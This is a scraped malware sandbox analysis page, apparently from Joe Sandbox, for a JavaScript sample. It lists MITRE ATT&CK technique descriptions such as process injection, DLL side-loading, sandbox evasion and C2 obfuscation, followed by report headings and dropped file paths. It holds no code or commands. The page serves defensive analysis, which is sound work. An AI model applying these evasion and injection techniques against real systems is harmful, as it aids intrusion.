Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1574285771252416900.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8fab9765-d2cc-40e6-8ed5-d5d0728fcd65.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7300

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7300

Windows Analysis Report
1574285771252416900.js